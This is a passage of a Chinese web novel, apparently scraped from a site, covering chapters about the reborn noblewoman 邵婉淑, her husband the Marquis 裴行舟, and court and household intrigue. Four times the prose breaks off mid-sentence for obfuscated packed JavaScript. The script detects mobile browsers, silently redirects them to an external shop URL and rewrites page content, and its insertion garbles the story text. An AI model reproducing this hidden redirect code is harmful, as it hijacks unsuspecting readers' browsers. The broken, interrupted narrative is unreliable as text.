邵婉淑看向了来人,来人是个英俊的少年,一身墨绿色的锦缎,面如冠玉,唇红齿白,眼神清澈。这是贤贵妃的儿子,也是三皇子。 “见过殿下。” 三皇子:“表姐何故如此多礼。” 邵婉淑:“礼不可废。” 三皇子:“母妃为何罚你?” 邵婉淑并未跟三皇子多说什么,只简单道了一句:“没多大事,是我做错了事惹姑母不高兴了。” 三皇子抿了抿唇,垂眸,道:“母妃定是想让你拉拢定南侯,让他助我争储。” 邵婉淑没说话,默认了此事。 三皇子:“表姐,你别听母妃的,这皇位我根本就不想要,你跟定南侯好好过。” 邵婉淑怔了一下。 三皇子也跟前世不同了。前世三皇子虽然也说过自己对皇位无意,让她不要试图拉拢裴行舟,但每次说的都很隐晦,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这是在反抗邵家吗? “好,多谢殿下提醒。” 三皇子说完事却没有离开。 裴行舟:“殿下还有事?” 三皇子脸上浮现出来一丝扭捏的神色,期期艾艾地问道:“那个,侯爷,我大皇兄最近有没有给你来信?” 裴行舟又是一怔,恭敬地道:“微臣没有收到大皇子的信件。” 三皇子脸上露出来失望的神情,很快又扬起了笑容。 “哦,也没给你写信啊。” 他本想从裴行舟这里知道大皇兄的近况,得知裴行舟没有收到信件,他十分失望。但转念一想,大皇兄没给自己写信,也没给他的定南侯写信,看来大家都是一样的。 裴行舟多问了一句:“殿下可是有事想问大皇子?” 三皇子:“也没什么事,都是我们兄弟间的事情,外人是不会知道的。” 裴行舟微微蹙眉,既然外人不知道,三皇子又为何要问他,岂非自相矛盾? 三皇子:“我还要去见范学士,你去救表姐吧。” 裴行舟:“多谢殿下。” 三皇子:“你是该好好谢谢我,我听说表姐之所以被母妃罚是因为侯爷。” 裴行舟显然没料到是这个原因,难得愣了一下。 看着裴行舟的反应,三皇子满意地笑了。看来表姐和定南侯之间的关系也没有那么糟糕,他没有继续解释,离开了此处。 16.第 16 章 贤贵妃虽然刚刚很生邵婉淑的气,但过了一会儿,自己心里也有些不得劲儿了。 “你说本宫当初是不是不该把她嫁给定南侯?” 齐嬷嬷:“娘娘也是为了三皇子着想,再说了,定南侯府门第高,对大姑娘而言是一门极好的亲事。要不是有娘娘您在,大姑娘也嫁不了这么好。” 贤贵妃叹了一声,道:“哎,我本来也觉得这是门好亲事,可我万万没想到她会爱上定南侯。像定南侯这种一心扑在公务,满心都是夺嫡之心的人又怎会有儿女情长?如今他身边虽然没有妾侍,但将来会有无数人。这个傻丫头怕是要吃苦了。” 齐嬷嬷:“娘娘真是心善,大姑娘顶撞了您,您还为她着想。” 贤贵妃:“她是我亲侄女,我不为她着想还能为谁着想?” 齐嬷嬷:“那侯府管家权怎么办?老爷希望您能劝得动大姑娘。” 齐嬷嬷是邵家的人,跟着贤贵妃入了宫。 贤贵妃:“罢了,真拿了管家权又能怎样,侯府内宅还有个老夫人当家做主。还不如让她抓住定南侯的心,说不定定南侯还能改变主意支持祐儿呢。” 齐嬷嬷犹豫了一下,说道:“大姑娘那样的怕是很难让定南侯倾心。” 贤贵妃可以说邵婉淑的不是,但却不喜欢听旁人说她。听到齐嬷嬷也这样说,顿时就不高兴了。 “她那样是哪样?婉淑长得漂亮,知书达理,定南侯怎么就不可能喜欢她了?” 见贤贵妃不悦,齐嬷嬷连忙解释道:“老奴不是这个意思,老奴说的是大姑娘的性情。” 贤贵妃也知道自己侄女的性子有些死板,她长叹一声,道:“人总是会变的,再说了,定南侯最近常常去她院中,说不定定南侯就喜欢这样的。” 齐嬷嬷也不好再多说什么了。 就在这时,宫女来报,裴行舟以府中有事为由要接邵婉淑回府。 贤贵妃顿时眼前一亮,看向齐嬷嬷:“你看,我说什么来着,就这么一会儿没见这人,他就过来要人了。” 齐嬷嬷:“老奴听说是殿下方才去找他了,兴许是殿下和他说了什么。” 贤贵妃顿了顿,道:“别管是不是主动来的,至少他过来要人了。” 齐嬷嬷犹豫了一下,说:“他这样做是不是对您有些不敬?” 贤贵妃:“你这是哪里话,他来接自己的夫人跟对我敬不敬有什么关系?” 齐嬷嬷:“是,是老奴错了。” 贤贵妃:“把侯夫人请过来。” 宫女:“是。” 邵婉淑来到了主殿中,见姑母一改刚刚的冷脸,有些诧异。 “姑母,管家的事我实在是有些为难。” 贤贵妃:“先别说管家的事了,定南侯来接你了。” 邵婉淑微微一愣。 裴行舟竟然会来接她?为何?前世不管她回娘家还是被姑母宣入宫中,裴行舟从未会过问。她突然想起了方才三皇子说过的话,一下子就想明白了。原来三皇子说要找人救她,找的人是裴行舟。裴行舟是大皇子的人,跟三皇子不是一个阵营,没想到三皇子竟然会找他。 贤贵妃笑着说:“你看看你这没出息的样子,听到定南侯来接你竟然欢喜傻了。” 邵婉淑:…… 贤贵妃:“定南侯相貌英俊,年轻有为,你爱慕他也很正常。不过,姑母得交代你几句。一定要守好自己的心,别为了一个男子把自己的心丢了。” 邵婉淑的心从来都不在裴行舟身上,重活一世,她知道姑母是关心她的。 “多谢姑母提醒。” 贤贵妃:“回去吧。” 邵婉淑拜别贤贵妃。 邵婉淑从宫里出来,看着停在宫门外的马车,十分意外。她原以为裴行舟只是让人传话,没想到他竟然还在。 青云:“见过夫人。” 邵婉淑:“嗯。” 前几日二人刚吵过架,裴行舟今日还愿意动用侯府的关系去救她,邵婉淑不知该如何面对裴行舟,转身想要上自己来时的马车。 青云拦住了邵婉淑的去路:“夫人,侯爷在等您。” 邵婉淑脚步顿了顿,上了裴行舟的马车。 掀开帘子后,邵婉淑看到了裴行舟。 裴行舟的马车比邵婉淑的要宽敞一些。此刻,他正在马车里闭目养神。马车昏暗,裴行舟的脸隐藏在黑暗中,看不清楚表情。 邵婉淑坐在了左边,靠近门口的地方,离裴行舟远远的。 等她坐稳,裴行舟沉声道:“走吧。” 马车吱扭吱扭朝着定南侯府行去。 马车行进了一段路之后,见裴行舟一直不开口说话,邵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967685|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婉淑主动说道:“多谢侯爷。” 裴行舟立即就回答了:“不必,是三皇子给我传的信。” “嗯。”邵婉淑应了一声。她猜得果然没错,是三皇子去找的裴行舟。她只是有些意外,三皇子为何会想起去找裴行舟,而裴行舟又为何会听三皇子的。这些问题,她只在心里想了想便罢了,是不会拿出来问裴行舟的。 两人又是一阵沉默。 见裴行舟没有再开口说话的意思,邵婉淑闭上了眼,靠在马车上小憩。 突然,裴行舟低沉的声音在马车里响了起来。 “我不知夫人从哪里听说的莲娘这个人,这几日我让人查过,前院、别院以及庄子上都没有叫莲娘的丫鬟。” 邵婉淑缓缓睁开眼,看了一眼裴行舟的方向。她没想到裴行舟竟然把这话放在了心上,还让人去查了。 “哦,我知道了。是我听信传言,误会了你。” 那莲娘家在西北,京城又怎可能有这个人呢。 裴行舟的目光有些犀利,问:“何人给你传的这番话?” 邵婉淑不敢看裴行舟的眼睛,别开了眼,没说话。 裴行舟看出来邵婉淑不想回答,眉微微皱了一下。他没再多言,两人又沉默下来。 今日裴行舟毕竟去救了她,邵婉淑心里还是感激的,眼见着快到府中了,她开口表明自己的态度:“从前的事是我不对,前院盯梢的人我已经撤回来了,请侯爷放心,以后我不会再让人盯着侯爷的行踪。” 听着邵婉淑这番话,裴行舟本来应该高兴的,但却莫名有些不适,但又说不出来为何。 “嗯。” 马车到了定南侯府,邵婉淑下了马车,裴行舟离开了侯府。 晚上,得知邵婉淑身边的人又来盯着前院了,裴行舟有些诧异。以他对邵婉淑的了解,她既然说了不会再盯着他,定然不会继续盯着。 除非—— 这个人不是邵婉淑的人。 裴行舟面色一沉,吩咐道:“让人去查一查。” 青云:“是。” 裴行舟端起桌上的茶喝了一口,眉头又皱了起来。 青云有些不解,他明明准备的明前龙井,为何侯爷还是不喜欢。 见手头的公务已经忙完,想到已经数日没有回内宅了,裴行舟起身回了韶华院。 17.第 17 章 从宫里回来后,邵婉淑在院子里歇了半日,此刻她还不困,正斜靠在榻上看书。听到门外的动静,她十分诧异。她和裴行舟白日里刚见过,没想到他晚上又来了。 阿桔照旧上了一壶茶,默默退了出去。 见侯爷喝了一口眉头舒展开,青云随着阿桔出去了。 “阿桔姑娘,你为何骗我?” 听到这个问题,阿桔有些莫名其妙:“我何时骗你了?” 青云:“你说为侯爷准备的是明前龙井,可侯爷并不喜欢喝。” 阿桔面色有些古怪。 青云看出来有隐情,诚心道:“还请阿桔姑娘告知。” 阿桔小心翼翼地看了一眼屋里,小声道:“我兑水了。” 青云:…… 阿桔:“夫人担心侯爷晚上喝太浓的茶睡不着觉,就让我往里面兑水了,这茶比素日里泡茶用的水多一倍。” 青云想破脑袋也没想出来答案竟然是这样的。是他多想了,侯爷一向对茶没什么研究,也就是夫人为他送茶之后他才开始喜欢的。茶里是否多兑了水,他或许是真的不知道。 见裴行舟拿起盘子里的桂花酥吃了起来,邵婉淑更是惊讶不已。他一向不爱吃甜食,今日为何突然主动吃了。 许是邵婉淑的目光太过直白,裴行舟吃完一个,看向她。 邵婉淑没说话,把面前的盘子往裴行舟那边推了推。 裴行舟又吃了一个。 邵婉淑实在没忍住,问了一句:“侯爷喜欢吃甜食?” 裴行舟:“不喜欢。” 糕点太腻,他一向不喜。 邵婉淑更疑惑了,既然不喜欢,为何要吃? 裴行舟难得多解释了一句:“行军时野菜树皮也吃过,只要能裹腹的东西都能吃。” 这句话邵婉淑听明白了,直白来说就一句:裴行舟饿了,所以他不挑。 这一刻,她这几日纠结的事情突然就有了答案。 不是裴行舟和前世不一样了,而是她对裴行舟不够了解。前世二人虽说做了三年的夫妻,但见面的次数着实少。她每日忙于内宅管家,裴行舟忙于公务,裴行舟又外出打仗一年,两人没多少相处的时间。即便是晚上见了面,俩人多半也没什么言语上的交流。 事实上,自从她重生回来,奇怪的事情又岂是只有裴行舟这边。前世她问婆母要管家权,婆母拒绝多次才给,今生她没有要,婆母却主动给了她管家权。姑母也并未宣她入宫,今生却宣她入宫了。或许,因为她的重生,很多事情和很多人都发生了改变。裴行舟的改变虽有些奇怪,但也不显得突兀了。 “我让厨房准备一些饭食。” 偌大的侯府,还能饿着一个侯爷不成? 裴行舟吃了三块桂花酥便拿起帕子擦了擦手,道:“不必了。” 邵婉淑也没再多言。 她坐在一旁看书,裴行舟坐在那里喝茶。裴行舟不说话,邵婉淑也没话跟他说。 坐了一会儿后,邵婉淑实在是有些疲惫,起身去沐浴了,随后去床上歇着了。 没过多久,裴行舟也上床歇着了,屋里的灯很快就熄灭了。 邵婉淑忐忑了一会儿,见裴行舟没什么动作,放心了,她侧身面对里侧睡了。 裴行舟看了一眼身上被拉走的被子,瞥了一眼背对着他的人,开口问道:“贵妃娘娘为何罚你?” 三皇子说贵妃娘娘之所以罚邵婉淑,是因为他。 邵婉淑睁开眼,顿了顿,道:“没什么,一些小事罢了。” 裴行舟这次却没就这么算了,直接点了出来:“三皇子说贵妃娘娘罚你是因为我。” 邵婉淑没想到三皇子竟然会跟裴行舟说这样的话,裴行舟是大皇子的伴读,两人关系甚笃,他们不应该水火不容吗? 一直这么背对着人说话显得十分无礼,她平躺过来。 裴行舟抬手将被子盖在了身上。 邵婉淑这才注意到自己方才竟然将被子都卷走了,一时有些尴尬。 裴行舟将被子盖在身上后,什么都没说。 见他如此,邵婉淑也假装无事发生,回答了裴行舟方才的问题。 “姑母让我接管家权,我拒绝了。” 既然裴行舟已经知道了此事,她也没什么好隐瞒的了。姑母本就和大皇子那边不太对付,说与不说,也没什么不同。 裴行舟:“为何不答应?” 邵婉淑觉得裴行舟的问题有点多,今日有些刨根问底的意思。她把问题抛给了裴行舟:“不是侯爷不让我管家的吗?” 裴行舟侧头看向邵婉淑,试图从她的脸上看出来什么。她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973038|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向以娘家为先,如今竟会听他的安排。不仅拒绝了母亲的提议,甚至拒绝了侍郎府和贤贵妃。这一点让他十分意外,但又很是熨帖。 裴行舟转过头,应了一声:“嗯。” 提及此事,邵婉淑想到了白日里在宫里跟姑母说过的话,微微觉得有些不好意思。 “那个……” 裴行舟:“嗯?” 邵婉淑:“我可能做了件对不住侯爷的事。” 裴行舟脑海中想过无数事,但什么也没提,沉声问:“何事?” 邵婉淑:“我拒绝姑母时将此事推到了侯爷身上,姑母可能会对您有些不满。” 裴行舟没料到邵婉淑会如此说,道:“夫人方才不是说了么,是我不让你管家的,本就是我的问题。” 虽说裴行舟提过,但邵婉淑心里清楚,她之所以不接管家权是因为她自己,跟裴行舟无关,所以她觉得有些抱歉。 裴行舟:“夫人这件事做得很好,以后再有这样的事,不必一个人默默顶着,全都推到我身上便是。” 邵婉淑侧头看向裴行舟。裴行舟这人好生奇怪,那日她怀疑他有了别的女子,他气得不行,转身离去。今日她把这么重要的问题推到了他的身上,他却语气轻松,还挺高兴似的。 恰好裴行舟也看了过来,二人的目光对在了一起。 不知是不是因为床上光线太暗,邵婉淑觉得此刻裴行舟的目光比刚刚在外间时温柔了许多。 下一瞬,裴行舟抬起了手,拇指指腹抚摸着邵婉淑的脸颊,温声道:“我是你的丈夫,你可以试着依靠我。” 邵婉淑眸光一闪。 她真的……可以相信他吗? 裴行舟的吻落在了邵婉淑的额头上。 邵婉淑心头一颤,她能感受到这个亲吻十分的温柔。但很快,她又逼着自己冷静下来。与其相信一个男人,不如趁他死之前赶紧生个孩子,给自己一个依靠。虽然裴行舟最近一改往常,时常来内宅,但谁知道他哪一日又恢复到从前的样子。万一他还是一个月来两次,孩子何时才能怀上,还是抓紧时间行动吧。想到这里,她抬手圈住了裴行舟。 邵婉淑难得主动回应裴行舟,裴行舟落在邵婉淑唇上的吻力道加深,身体也很快覆了过来。 月上中天,树影婆娑,沙沙作响。 18.第 18 章 第二日是初一,原本昨日邵婉淑就该见一见铺子里的掌柜,但由于她去了宫里,便没有见着。见阿梅正在院子里侍弄花草,邵婉淑把她叫了进来。 “给你父亲传话,让他通知京城几间铺子的掌柜,今日申时来府中一趟。” 阿梅:“是,夫人。” 阿梅一家都跟着邵婉淑陪嫁过来。她的父亲是禄叔,负责邵婉淑外面的陪嫁,母亲是香婆子,在庄子上。这一家人都是自己十分信任的人。禄叔十分能干,打理她的产业,帮她办事,打探外面的消息。香婆子也把庄子上的事情打理得井井有条,每年都有一些产出。 虽说自己不再管家了,但私产还是要打理好,总不能花钱的时候问裴行舟要。 邵婉淑一共有三间铺子,两间书肆,一间茶叶铺子。这三间铺子只有开在书院附近的那间书肆在赚钱,另外两间都不赚钱。前世,在捉襟见肘时,她将这两间铺子卖掉了,填补了侯府的窟窿,后来她听说那两间铺子开得红红火火的。如今想想她还真是蠢的要命,那俩铺子地段不错,只是经营的种类不太合适,不如及时调整一下,变亏为盈。 眼见着马上就要到申时了,阿梨提醒道:“夫人,咱们要不要把屏风拿过来挡一挡。” 邵婉淑:“不必了。” 从前她一直听从父亲和母亲的话,几乎没见过外男,就连府里的管事都要隔着屏风才能见。到了侯府后,管事的都会直接见侯府的女眷。一开始她并不赞同这种做法,总想着躲一躲。可她身为当家主母,躲无可躲,而且,她躲起来反倒是不好安排。 此举委实迂腐得很。 阿梨还想说些什么,阿桔道:“夫人也该见见他们了,他们老是见不着夫人,说不定在背后干些什么坏事儿呢。” 阿梨想到侯府管事也会来内宅,没再多言。 不多时,禄叔和三个掌柜一同来了。 邵婉淑坐在上首,让人给几人上了茶,听他们说铺子的事情。 在听到有两间铺子亏损时,直接道:“既然不赚钱,这两间铺子便全都改行吧。” 这并非是邵婉淑一时冲动,此事她已经想了许多日子,心里已经有了打算。 两个掌柜的脸上露出来惊讶的神情,同时看向了禄叔。 看着他们二人的反应,邵婉淑心里也是一惊。从前她在屏风后见人,还真没注意到这两个掌柜的竟然对禄叔这般信任,甚至……超过了她。 禄叔:“夫人,这两间铺子开了许多年了,里间的人都是老爷安排的,这样冒然去改是不是不太妥当。” 出于对禄叔的信任,邵婉淑没直接反驳,而是道:“据我所知这两间铺子也不是第一年亏损了,既然不赚钱还是改了吧。” 禄叔提醒道:“此事要不要和老爷说一声?” 邵婉淑眉头紧紧皱了起来。这两间铺子既然给了她,便是她的私产了,禄叔也是她的人,他怎么还想着事事去问父亲。她脸色一沉,道:“不必。城北的那间书肆改成饭馆,让京郊庄子上的林厨去掌勺,城南的茶叶铺子改成茶馆。” 这次禄叔没开口,城北书肆的王掌柜先开口了。 “夫人,老爷是礼部侍郎,咱们一直都是做书肆生意的,饭馆的话改动太大,也不太文雅,不符合身份,要不还是和老爷说一声吧?” 邵婉淑眯了眯眼。这是今日她第三次听到他们提起来父亲了。她竟不知她嫁入侯府后,这些铺子的人竟还处处以父亲为先。前世她一直顺从父亲,没有反抗,大家的想法是一致的,所以她从来没发现这一点。如今她不过是微微改变了一下,他们就敢质疑她的决定了。 “你们究竟是父亲的人,还是我的人?” 几人顿时一惊,连忙站起身来。 邵婉淑用目光扫视了一圈,缓缓说道:“这铺子如今随我嫁入了定南侯府,便是我的了。我不管从前你们听谁的,如今只能听我一个人的安排。若还认旧主,今日出了门大可离去。” 几人连忙应诺。 邵婉淑又继续对几位掌柜的道:“城北书肆的书运去书院附近的书肆,茶叶铺子改成茶馆,拿铺子里原有的茶叶去卖。一边开茶馆,一边卖茶叶。先不要进货,看看铺子里的收益如何,若收益好,继续开下去,若收益不好,再做其他打算。” 茶叶铺子的掌柜立即就点头应下,城北书肆的掌柜的微微有些犹豫,但还是点头应下了。 邵婉淑:“都退下吧。” 等人都走后,阿桔不满地说道:“这些人怎么这个样子,明明是夫人的陪嫁,咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977369|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都到了侯府了,他们还处处提侍郎府。” 阿梨:“或许是因为铺子从前是侍郎府的,他们一时改不过来。” 邵婉淑琢磨了一下,道:“嗯,再看看吧。他们究竟是没习惯,还是心在曹营心在汉。若他们还以侍郎府为先,那就留不得了。” 听到这话阿桔开心了。 因为今日是初一,按照侯府的规矩,今晚所有人都要去祥和院用晚饭。 酉正,邵婉淑穿戴好衣裳,准备去祥和院。 阿梨:“夫人,咱们要不要去前院问问侯爷回来了没有?” 阿桔:“有什么好问的,侯爷忙得很,还不知道何时才能回来。” 每个月的这个时候,三房都会去祥和院。不同的是,二房和三房都是夫妇俩一同出现,邵婉淑和裴行舟从未一起去过。不管别的房夫妇真实关系如何,至少表面上是和睦的。她和裴行舟的不合全都摆在了明面上。他们本就是政治联姻,所有人都知道,也无人对此感到意外。 一开始邵婉淑还有些不舒服,每个月这个时候都会让人去前院问问裴行舟是否和她一同去祥和院,得到的答案要么是裴行舟没回来,要么是还没忙完公务,后来她也就习惯了。 邵婉淑:“不必问了,侯爷忙着公务,等他忙完自会去的。” 收拾好之后,邵婉淑从屋里出去了。 刚走到屋檐下,就看到裴行舟高大的身影出现在了院子里。 邵婉淑停下了脚步,裴行舟大步朝着她走来。 此刻天色已经暗了下来,屋里掌了灯。裴行舟的身影原本是十分模糊的,只能看得到一丝轮廓,慢慢地,他的身影变得清晰。 玄色衣裳,黑色皂靴,玉冠束发。 很快,他来到了邵婉淑面前。 邵婉淑站在屋檐下,裴行舟站在平地上,二人头一次平视着。 邵婉淑发现,裴行舟的确长得十分英俊。剑眉星目,鼻梁高挺。 此刻,他的眼神没有一丝温度,面容也有几分严肃,双手负在身后,自带几分疏离。这样子和在夜里全然不同,像是两个人。 裴行舟:“走吧。” 他竟会专门回内宅陪她一同去祥和院,还真是破天荒头一次。 邵婉淑:“嗯。” 19.第 19 章 邵婉淑和裴行舟夫妇二人朝着祥和院走去,一路无话。 裴行舟每走几步就要停下来等一等邵婉淑,再后来,他试着将步子迈小一些,邵婉淑堪堪能跟上。 不多时,二人到了祥和院。 屋里热热闹闹的,时不时传来裴行凛说话的声音,杜氏和柳氏的笑声,以及裴明英大叫的声音。 丫鬟掀开了帘子。 见他们夫妇二人同时过来,屋里所有人都看了过来,脸上的神色各异。 裴行凛和杜氏一脸惊讶的表情,柳氏脸上的嫉妒十分明显。裴明英看了一眼后就收回了目光,低声跟杜氏说着什么,毫不在意他们夫妇二人。裴温静抬头看了一眼又低下了头,存在感极低。裴璃对裴行舟和邵婉淑同行没什么反应,反倒是看了一眼身边的柳氏。 唯有姜老夫人一脸笑意。 看着这一对璧人,姜老夫人改变了看法,这门亲事成的好啊!她眼光果然没错,儿子这种冰冰冷冷的武将就该配儿媳这种温婉的文官之女。 “见过母亲。” 姜老夫人笑着说:“好好好,快起来坐下吧,一家人不必如此客气。” 邵婉淑和裴行舟准备落座。 眼下却有了个难题。杜氏和裴明英坐在了姜老夫人身侧,裴温静站在一旁。而左右两侧的两排椅子上,左侧,裴行凛坐在了第一个位置,后面三个位置空着。右侧,裴璃坐在了第三个位置,柳氏在第四个位置上,前面空着两个位置。 裴行凛站起身退了一个位置,站在了左侧第二个位置上,招呼着裴行舟:“大哥,坐这边。” 左侧第一个位置空了出来,左侧第三个和第四个位置也没有人。 邵婉淑是不可能坐在裴行凛后面的座位上的,她心里有了答案,没再看裴行舟,朝着右侧走去。她走过去时,裴璃已经站了起来。 邵婉淑朝着他点了点头,坐在了第一个位置上。 她刚坐下,就看到了身后的裴行舟。 邵婉淑有些意外,她没想到裴行舟竟然拒绝了裴行凛,陪着她来到了右侧。 按理说,裴行舟要坐在她的前面。 邵婉淑刚想站起来给他让座,就见他坐在了第二个位置上,也就是自己的下首。 裴行凛尴尬地站在对面,脸上的惊讶没来得及收回。 落座后,裴行舟对裴行凛点了点头。 裴行凛想说些什么,又闭了嘴,坐下了。 裴行舟收回目光,看向身侧仍旧站着的裴璃。 “坐吧。” 裴璃落座。 裴行舟:“最近书读得如何,今年下场可有胜算?” 定南侯府中,裴行舟和裴行凛都习武,唯有裴璃从文,只是,裴璃于读书一事似乎也不太精通,五年前中了秀才后,考了三次秋闱都没能中举人。 裴璃有些羞愧,低声道:“没……没什么胜算。” 裴行舟:“我问过宋先生了,先生说你今年比之前大有长进,可以下场一试。” 裴行舟和裴璃的对话并没有避着人,一旁的邵婉淑听得清清楚楚的。听到这番话,邵婉淑看了裴行舟一眼。从前她只知裴行舟十分关心裴行凛,没想到他竟然也很关心裴璃这个庶弟。据她所知,姜老夫人和裴行凛可是对裴璃十分的忌惮。裴璃原本也是打算从武的,后来不知为何从了文。 裴璃早已没了信心,应了一声:“嗯,我今年再试试。” 裴行舟:“邹相二十五中举,徐祭酒二十八考中进士,有些人五十多岁才中,一样有成就。你如今年纪轻轻,莫要放弃希望。” 裴璃眼神灼灼地看向裴行舟。 一旁的柳氏小声说了一句:“要是真考到五十岁,也太丢人了吧。” 闻言,裴璃眼里的光明显消散了许多。 裴行舟皱了皱眉,瞥了柳氏一眼后收回了目光。 “你若真想从文,尽管去试,莫要在乎旁人的目光。” 裴璃:“好,多谢大哥。” 看着这兄弟二人相处的情形,邵婉淑有些怀疑自己前世是不是误会了裴璃。在裴行舟去世后,裴璃曾不止一次来过韶华院,那时她一直怀疑裴璃有别的目的,不怀好意,想要打听韶华院的事儿。 这时,丫鬟上了一壶新茶,放在了裴行舟和邵婉淑中间的茶几上。 裴行舟没再多言,转过身想要端茶,结果却看到邵婉淑的目光正落在裴璃身上,眼神有些奇怪。她身为长嫂就这样盯着小叔子多少有些不合适,他轻咳一声,提醒邵婉淑。 邵婉淑也意识到自己刚刚的举动有些奇怪,她收回目光,顺势找了个借口:“方才听侯爷和三弟说起科考一事,我想起邵家有位先生教的不错,十人能中七八,若是三弟有意,我可以引荐,让他指点一下三弟。” 她记得裴璃今年虽然中了,但排名并不高,来年也没能中进士。 裴行舟眼眸微动,邵家一心想拉他入三皇子的阵营,他并未同意。如今邵婉淑竟然会为三弟的仕途添砖加瓦。但他没说什么,侧头看向裴璃。 裴璃尚未回答,柳氏突然刺了一句:“真的吗,我怎么听说大嫂的弟弟到现在还没中呢。” 邵婉淑蹙眉,阿弟不仅中了,还中了探花郎。她刚想反驳,突然想起阿弟此时还没中举,等到今年秋天才中了举人,来年中了探花。 裴行舟的眉也皱了起来。 裴璃知道这位先生,这是京城鼎鼎有名的一位先生,能得到他的指点对他的科考定然有益,但他还是拒绝了。 “多谢大嫂,不必了,宋先生教的挺好的,是我自己的问题。” 邵婉淑没再多说什么。 柳氏感觉尴尬极了,她刚刚说的话竟然没有一个人回应,大家仿佛没听到她说的话一般。裴行舟和邵婉淑也就罢了,裴璃竟然也不回答她,还去回应了邵婉淑。她瞪了裴璃一眼。裴璃像是没有察觉到一般,并未看她。 没过多久便开饭了。 饭后,众人在屋里说话。 裴行舟将裴行凛叫了出去。 距离上次裴行舟跟裴行凛说收回印子钱已经过去了十日,见杜氏那边毫无动静,裴行舟又跟裴行凛提了一次。 裴行凛再次听到裴行舟让杜氏把印子钱收回来时,心里有些不悦,但面上却尽是着急之色。 “大哥放心,我已经催过她了,她说很快就能收回来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985640|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴行舟抬眸看向裴行凛,突然觉得面前的弟弟有些陌生。他一直觉得二弟虽然有些小聪明,但是听话识大体,如今瞧着似乎不是这样。 “很快是多久?” 裴行凛一脸为难的表情:“具体的我也不清楚,差不多十天半个月吧。” 裴行舟却没有放过他,继续问:“究竟是十天,还是半个月?” 裴行凛一咬牙:“十天!她若办不成我亲自去办。” 裴行舟:“阿凛,这是最后一次。我不管你心里在想什么,这件事必须尽快解决,免得生出别的事端。” 看着裴行舟的目光,裴行凛心里有些不舒服,道:“大哥,你对大嫂是不是太好了?她跟咱们可不是一条心,若是她拿走了管家权,咱们家还不得被她卖了。” 裴行舟皱眉,不悦地道:“此事和她无关,这件事是二弟妹做的不对,放印子钱本就是朝廷明令禁止的。你在朝为官,怎么连这么简单的道理都不懂。” 见裴行舟是真的生气了,裴行凛不敢再提邵婉淑,但心里对此事却不以为然。朝廷中放印子钱的可不止他们一家,官府都是睁一只眼闭一只眼的。从前大哥也没这么强烈要求他们,此举分明就是为了邵婉淑。 “她也是为了咱们侯府着想,想让侯府多一些进项。” 裴行舟:“侯府有许多祖上传下来的田产铺子,每年的产出足够府里的嚼用,莫要贪图小利做这种事。” 被裴行舟反驳了几句,裴行凛心里特别不得劲儿。大哥口口声声说不会相信邵婉淑,却为了她屡次训斥他。他能看得出来大哥心里开始摇摆了,不似从前那般厌恶邵婉淑。他越说邵婉淑,他便越要训斥他。 “我知道了,一定会尽快收回来的。” 裴行舟:“嗯。” 裴行凛想到刚刚的一幕,转移了话题,问道:“大哥,你刚刚跟三弟聊什么呢?” 裴行舟:“说了说他科考的事。” 裴行凛顿时就笑了:“大哥,你又不是不知道,三弟就是不成器的,多跟他废什么话。他姨娘就是个下人,我瞧着他也别考了,再考十次也中不了,不如趁早给他找个差事去做,免得丢咱们裴家人的脸。” 裴行舟不赞同地皱眉。 “这并非长久之计,还是要他自己立起来。” 裴行凛见裴行舟还是要管裴璃,低声提醒:“大哥,你这样关心三弟可别惹母亲不高兴。” 裴行舟没有继续这个话题,而是道:“印子钱的事尽早解决。” 见裴行舟还是决定帮助裴璃,裴行凛心里特别不舒服。方才裴行舟同裴璃说话时语气温和,对自己说话却板着脸,究竟谁才是他的亲弟弟? 裴行凛压制住心里的不适,道:“知道了。” 